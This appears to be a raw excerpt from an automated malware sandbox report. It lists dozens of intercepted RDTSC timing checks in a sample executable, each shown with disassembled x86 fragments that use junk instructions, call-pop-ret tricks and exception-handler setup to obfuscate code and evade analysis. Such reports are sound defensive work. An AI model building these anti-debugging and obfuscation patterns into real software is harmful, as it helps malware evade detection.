Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1217D75 second address: 1217DA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20406h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F8C1CD20404h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1217DA5 second address: 1217DC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63242h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1217DC4 second address: 1217DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F8C1CD203F6h 0x0000000d jmp 00007F8C1CD20402h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1217DE3 second address: 1217DEB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1217DEB second address: 1217E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD203FCh 0x00000009 jp 00007F8C1CD203F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1218258 second address: 121825E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121825E second address: 1218271 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121979B second address: 12197A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12197A1 second address: 12197A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12197A5 second address: 12197A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1219841 second address: 121987F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20402h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007F8C1CD20409h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8C1CD203FAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1219FCB second address: 1219FD1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A3B6 second address: 121A3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD203FBh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F8C1CD203F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A3CE second address: 121A3D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A461 second address: 121A465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A465 second address: 121A46B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A46B second address: 121A470 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A470 second address: 121A4B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a js 00007F8C1CD63236h 0x00000010 pop edi 0x00000011 pop edx 0x00000012 xchg eax, ebx 0x00000013 jbe 00007F8C1CD6323Ch 0x00000019 add dword ptr [ebp+129C19D4h], eax 0x0000001f mov esi, dword ptr [ebp+129C3A6Ch] 0x00000025 nop 0x00000026 pushad 0x00000027 pushad 0x00000028 jmp 00007F8C1CD63247h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A719 second address: 121A72B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8C1CD203F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F8C1CD203F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A72B second address: 121A72F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A72F second address: 121A73B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A952 second address: 121A956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A956 second address: 121A95C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121A9E4 second address: 121A9F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F8C1CD63238h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121B7E5 second address: 121B7E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121C973 second address: 121C986 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C1CD63238h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121C986 second address: 121C98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121C98A second address: 121C9A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63242h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121EEED second address: 121EF0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20404h 0x00000007 jl 00007F8C1CD203F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121D1F3 second address: 121D1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121EF0E second address: 121EF16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121D1FA second address: 121D1FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121EF16 second address: 121EF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121FF57 second address: 121FF5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121FF5D second address: 121FF61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121FF61 second address: 121FF73 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8C1CD63236h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121FC70 second address: 121FC76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121FF73 second address: 121FF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121FC76 second address: 121FC89 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F8C1CD203F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121FC89 second address: 121FC93 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C1CD63236h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 121FC93 second address: 121FCA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD203FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12209ED second address: 1220A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 mov di, 8DE9h 0x0000000c push 00000000h 0x0000000e call 00007F8C1CD6323Eh 0x00000013 mov di, 24F7h 0x00000017 pop esi 0x00000018 push 00000000h 0x0000001a and edi, dword ptr [ebp+129C3908h] 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8C1CD6323Ch 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1221500 second address: 1221521 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20407h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push ecx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1225EB3 second address: 1225EB8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1227A60 second address: 1227A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1227A66 second address: 1227A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1227A6A second address: 1227A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122998E second address: 1229994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1229994 second address: 1229999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1229999 second address: 12299AB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8C1CD63238h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12299AB second address: 12299AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12299AF second address: 12299C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8C1CD6323Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12299C5 second address: 12299C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122A923 second address: 122A991 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b je 00007F8C1CD63238h 0x00000011 mov ebx, ecx 0x00000013 push 00000000h 0x00000015 and ebx, dword ptr [ebp+129C398Ch] 0x0000001b mov ebx, dword ptr [ebp+129C1885h] 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007F8C1CD63238h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 00000015h 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d mov ebx, dword ptr [ebp+129C191Dh] 0x00000043 xchg eax, esi 0x00000044 pushad 0x00000045 pushad 0x00000046 pushad 0x00000047 popad 0x00000048 push edi 0x00000049 pop edi 0x0000004a popad 0x0000004b js 00007F8C1CD63240h 0x00000051 jmp 00007F8C1CD6323Ah 0x00000056 popad 0x00000057 push eax 0x00000058 jng 00007F8C1CD63244h 0x0000005e push eax 0x0000005f push edx 0x00000060 jp 00007F8C1CD63236h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1229BAF second address: 1229BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122AB06 second address: 122AB0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122AB0A second address: 122AB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122AB10 second address: 122AB16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122AB16 second address: 122AB92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F8C1CD203F8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 sbb bx, 4C16h 0x00000028 push dword ptr fs:[00000000h] 0x0000002f add dword ptr [ebp+129C27B9h], edx 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007F8C1CD203F8h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 00000014h 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 adc bh, FFFFFF95h 0x00000059 mov edi, dword ptr [ebp+12B5EE5Eh] 0x0000005f mov eax, dword ptr [ebp+129C1745h] 0x00000065 push FFFFFFFFh 0x00000067 movzx edi, dx 0x0000006a push eax 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122AB92 second address: 122AB96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122BB5E second address: 122BB68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8C1CD203F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122BB68 second address: 122BC02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F8C1CD63241h 0x00000010 pop edi 0x00000011 push dword ptr fs:[00000000h] 0x00000018 add dword ptr [ebp+129C295Dh], esi 0x0000001e mov dword ptr [ebp+12B5D0BDh], edx 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b add bx, 8E0Ch 0x00000030 mov eax, dword ptr [ebp+129C0655h] 0x00000036 mov edi, 111141E9h 0x0000003b push FFFFFFFFh 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007F8C1CD63238h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 00000018h 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 mov dword ptr [ebp+129C204Bh], edx 0x0000005d pushad 0x0000005e mov dword ptr [ebp+129C29FBh], ebx 0x00000064 jmp 00007F8C1CD63249h 0x00000069 popad 0x0000006a push eax 0x0000006b push esi 0x0000006c push eax 0x0000006d push edx 0x0000006e jc 00007F8C1CD63236h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122CA4B second address: 122CA50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1230662 second address: 12306E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63242h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F8C1CD63238h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 jmp 00007F8C1CD63242h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F8C1CD63238h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov di, F171h 0x0000004b push 00000000h 0x0000004d clc 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push esi 0x00000052 pushad 0x00000053 popad 0x00000054 pop esi 0x00000055 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123165D second address: 12316C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a or bx, 12EEh 0x0000000f mov ebx, dword ptr [ebp+129C37F0h] 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+12B3EEDBh], ebx 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007F8C1CD203F8h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 00000015h 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 call 00007F8C1CD20406h 0x0000003e jmp 00007F8C1CD203FDh 0x00000043 pop ebx 0x00000044 xchg eax, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12316C4 second address: 12316C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12316C8 second address: 12316CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 12316CE second address: 12316D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123086E second address: 1230874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 122D93C second address: 122D9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F8C1CD63238h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 adc bl, FFFFFFAAh 0x00000024 mov bx, ax 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov dword ptr [ebp+129C334Bh], edi 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b sub bl, FFFFFFA7h 0x0000003e mov eax, dword ptr [ebp+129C0E05h] 0x00000044 mov ebx, eax 0x00000046 push FFFFFFFFh 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007F8C1CD63238h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 00000019h 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 mov edi, dword ptr [ebp+129C3A98h] 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push ebx 0x0000006c push esi 0x0000006d pop esi 0x0000006e pop ebx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1234540 second address: 1234546 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1231837 second address: 123183C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123CF23 second address: 123CF27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123C6AC second address: 123C6CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F8C1CD63248h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123C6CA second address: 123C6D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123C6D0 second address: 123C6F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63240h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F8C1CD63236h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123C6F0 second address: 123C6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123C6F4 second address: 123C6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123C6F8 second address: 123C704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123C704 second address: 123C70A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 123C88F second address: 123C89F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
